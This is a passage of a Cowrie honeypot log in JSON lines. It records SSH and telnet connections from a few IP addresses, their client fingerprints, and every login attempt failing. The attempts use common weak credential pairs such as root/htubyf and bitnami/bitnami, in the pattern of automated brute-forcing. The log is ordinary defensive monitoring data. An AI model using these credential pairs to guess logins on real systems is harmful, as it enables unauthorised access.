nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:14.900505Z","src_ip":"45.153.34.97","session":"311d87d6f8d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web","password":"123456","message":"login attempt [web/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:15.530857Z","src_ip":"45.153.34.97","session":"311d87d6f8d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:16.616748Z","src_ip":"45.153.34.97","session":"311d87d6f8d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":41552,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c8696cacbac","protocol":"ssh","message":"New connection: 45.153.34.97:41552 (10.17.0.5:22) [session: 5c8696cacbac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:19.209190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:19.214669Z","src_ip":"45.153.34.97","session":"5c8696cacbac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:19.297394Z","src_ip":"45.153.34.97","session":"5c8696cacbac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1234567","message":"login attempt [minecraft/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:19.592759Z","src_ip":"45.153.34.97","session":"5c8696cacbac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:20.682688Z","src_ip":"45.153.34.97","session":"5c8696cacbac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":29898,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a8167536135","protocol":"ssh","message":"New connection: 45.153.34.97:29898 (10.17.0.5:22) [session: 8a8167536135]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:23.671484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:23.680354Z","src_ip":"45.153.34.97","session":"8a8167536135","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:23.769598Z","src_ip":"45.153.34.97","session":"8a8167536135","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"matt","password":"matt","message":"login attempt [matt/matt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:24.184896Z","src_ip":"45.153.34.97","session":"8a8167536135","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:25.281469Z","src_ip":"45.153.34.97","session":"8a8167536135","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36660,"dst_ip":"10.17.0.5","dst_port":23,"session":"6792a0a26eac","protocol":"telnet","message":"New connection: 152.42.224.71:36660 (10.17.0.5:23) [session: 6792a0a26eac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:25.712640Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":29908,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff8cd950a4d6","protocol":"ssh","message":"New connection: 45.153.34.97:29908 (10.17.0.5:22) [session: ff8cd950a4d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:27.987140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:27.992478Z","src_ip":"45.153.34.97","session":"ff8cd950a4d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:28.084393Z","src_ip":"45.153.34.97","session":"ff8cd950a4d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitnami","password":"bitnami","message":"login attempt [bitnami/bitnami] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:28.680466Z","src_ip":"45.153.34.97","session":"ff8cd950a4d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:29.774569Z","src_ip":"45.153.34.97","session":"ff8cd950a4d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":33158,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad429a9d3da4","protocol":"ssh","message":"New connection: 45.153.34.97:33158 (10.17.0.5:22) [session: ad429a9d3da4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:32.371969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:32.376343Z","src_ip":"45.153.34.97","session":"ad429a9d3da4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:32.473848Z","src_ip":"45.153.34.97","session":"ad429a9d3da4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"P@ssw0rd","message":"login attempt [student/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:32.771833Z","src_ip":"45.153.34.97","session":"ad429a9d3da4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:33.884250Z","src_ip":"45.153.34.97","session":"ad429a9d3da4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.4146511554718,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:34.903510Z","src_ip":"152.42.224.71","session":"a86bbf908b86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":33140,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc4fb11bfe7f","protocol":"ssh","message":"New connection: 94.159.98.239:33140 (10.17.0.5:22) [session: fc4fb11bfe7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:35.520769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:35.536749Z","src_ip":"94.159.98.239","session":"fc4fb11bfe7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:35.640402Z","src_ip":"94.159.98.239","session":"fc4fb11bfe7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"htubyf","message":"login attempt [root/htubyf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:36.115311Z","src_ip":"94.159.98.239","session":"fc4fb11bfe7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":33170,"dst_ip":"10.17.0.5","dst_port":22,"session":"5dc78612a313","protocol":"ssh","message":"New connection: 45.153.34.97:33170 (10.17.0.5:22) [session: 5dc78612a313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:36.577102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:36.675712Z","src_ip":"45.153.34.97","session":"5dc78612a313","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:36.679321Z","src_ip":"45.153.34.97","session":"5dc78612a313","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"d","password":"m","message":"login attempt [d/m] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:37.097863Z","src_ip":"45.153.34.97","session":"5dc78612a313","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:37.436375Z","src_ip":"94.159.98.239","session":"fc4fb11bfe7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:38.189098Z","src_ip":"45.153.34.97","session":"5dc78612a313","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":58620,"dst_ip":"10.17.0.5","dst_port":22,"session":"7727c504193c","protocol":"ssh","message":"New connection: 43.135.177.217:58620 (10.17.0.5:22) [session: 7727c504193c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:38.836099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:38.842412Z","src_ip":"43.135.177.217","session":"7727c504193c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:38.909470Z","src_ip":"43.135.177.217","session":"7727c504193c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alejo","message":"login attempt [root/alejo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:39.213915Z","src_ip":"43.135.177.217","session":"7727c504193c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:40.284979Z","src_ip":"43.135.177.217","session":"7727c504193c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":55742,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d08eb604df7","protocol":"ssh","message":"New connection: 45.153.34.97:55742 (10.17.0.5:22) [session: 0d08eb604df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:40.968711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:40.972121Z","src_ip":"45.153.34.97","session":"0d08eb604df7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:41.076975Z","src_ip":"45.153.34.97","session":"0d08eb604df7","protocol":"ssh"}
